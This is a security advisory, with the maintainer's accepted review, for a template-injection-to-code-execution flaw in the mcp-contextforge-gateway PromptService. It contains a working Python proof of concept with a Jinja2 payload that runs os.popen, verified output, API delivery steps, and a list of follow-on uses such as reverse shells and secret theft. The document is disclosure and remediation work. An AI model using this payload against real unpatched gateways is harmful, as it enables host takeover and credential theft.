mcp-contextforge-gateway has Server-Side Template Injection (SSTI) leading to Remote Code Execution in `PromptService._render_template` via unsandboxed Jinja2 Environment

PoC

The reproducer requires only the published package and a Python interpreter; no network, database, or container setup is needed because the vulnerability sits in the in-process render method.

Setup

pip install mcp-contextforge-gateway==0.9.0

Reproducer (poc.py)

import os
import warnings

with warnings.catch_warnings():
    warnings.simplefilter("ignore")
    from mcpgateway.services.prompt_service import PromptService

import mcpgateway
print(f"[+] mcpgateway version: {mcpgateway.__version__}")

PROOF = os.path.abspath("MCPGATEWAY_RCE_PROOF.txt")
if os.path.exists(PROOF):
    os.remove(PROOF)

service = PromptService()
print(f"[+] PromptService._jinja_env type: {type(service._jinja_env).__name__}")

payload = (
    "{{ self.__init__.__globals__.__builtins__"
    ".__import__('os').popen('echo MCPGATEWAY_RCE > "
    + PROOF.replace('\\', '/') + "').read() }}"
)

print(f"[+] PROOF exists before render: {os.path.exists(PROOF)}")
service._render_template(payload, {})
print(f"[+] PROOF exists after render:  {os.path.exists(PROOF)}")

if os.path.exists(PROOF):
    with open(PROOF) as f:
        print(f"[+] PROOF contents: {f.read().strip()!r}")

Verified output

[+] mcpgateway version: 0.9.0
[+] PromptService._jinja_env type: Environment
[+] PROOF exists before render: False
[+] PROOF exists after render:  True
[+] PROOF contents: 'MCPGATEWAY_RCE'

The file MCPGATEWAY_RCE_PROOF.txt is written to disk by the embedded os.popen call, demonstrating arbitrary command execution in the gateway process. Replacing echo MCPGATEWAY_RCE > ... with any other command (e.g., reading filesystem contents, opening a reverse shell, exfiltrating environment secrets) produces the corresponding effect.

End-to-end via the API

A full attack against a deployed gateway uses the same payload supplied as the template field to POST /prompts (or PUT /prompts/{id}). Once stored, the template fires every time the prompt is rendered via the gateway's MCP prompts/get flow.

Impact

This is a Server-Side Template Injection vulnerability in a component (PromptService) that is exposed via the gateway's REST API. The attacker requirement is authenticated API access with permission to register or update prompts — a normal capability for users in the gateway's intended deployment model.

Successful exploitation yields:

• Arbitrary command execution on the gateway host with the gateway process's privileges
• Read/write access to the gateway's filesystem
• Read access to environment variables (including secrets, API keys, JWT signing keys, database credentials)
• Network access from the gateway host (lateral movement, internal request forgery beyond the gateway's normal SSRF protections, exfiltration to external endpoints)
• Persistence by registering additional malicious prompts, modifying configuration, or writing to disk

Affected user populations:

• Any deployment running a published version of mcp-contextforge-gateway from PyPI
• Multi-tenant deployments where any tenant can register prompts: a single tenant compromises the whole gateway and indirectly all other tenants
• CI/CD pipelines that programmatically register prompt templates from untrusted sources
• Deployments that import or sync prompt definitions from external registries

Suggested remediation requests:

1. Issue a CVE / GitHub Security Advisory for the affected published versions so downstream users receive Dependabot and security-scanner alerts
2. Publish the patched release to PyPI so pip install --upgrade returns a fixed version
3. Mark the relevant CHANGELOG.md entry as a security fix and add an upgrade-urgency note in SECURITY.md for users still on affected versions

Maintainer review (accepted)

Reproduced and accepted. Findings from the maintainer's review:

Confirmed valid (SSTI → RCE). In mcpgateway/services/prompt_service.py as published in v0.9.0 (and all earlier releases), _render_template() runs Environment().from_string(template).render(**args) on a plain, unsandboxed jinja2.Environment (v0.9.0 line 27: from jinja2 import Environment). With no render-time sandbox, the __builtins__.__import__('os').popen(...) chain executes arbitrary code in the gateway process. Verified against the v0.9.0 source.

Reachable with attacker-controlled input. The template field is persisted by the authenticated write paths — POST /prompts (prompts.create), prompt update (prompts.update), and bulk register — then rendered in get_prompt() → _render_template(). Any authenticated principal holding prompts.create/prompts.update reaches RCE. CWE-1336 / CWE-94 and High severity confirmed.

Scope (set on this advisory): affected < 1.0.0 (0.1.0–0.9.0); patched 1.0.0.

Already fixed. Migrated to SandboxedEnvironment in #4072 (commit 4d3100466, 2026-04-24), shipped in v1.0.0. Current main (1.0.3) additionally prevents the str.format() fallback from re-opening the attribute path when the sandbox rejects an expression (a jinja2.exceptions.SecurityError no longer falls through to .format()).

Correction to the report. "Patched version not installable via pip" is now stale — 1.0.0 through 1.0.3 are published on PyPI. Remediation for users is upgrade to >= 1.0.0.

Audit. Other jinja2.Environment usages in the codebase (main.py, version.py, tools/builder, email templates, content_security.py) render trusted on-disk templates via FileSystemLoader or are parse-only — none render user-supplied template strings. No second instance of this pattern.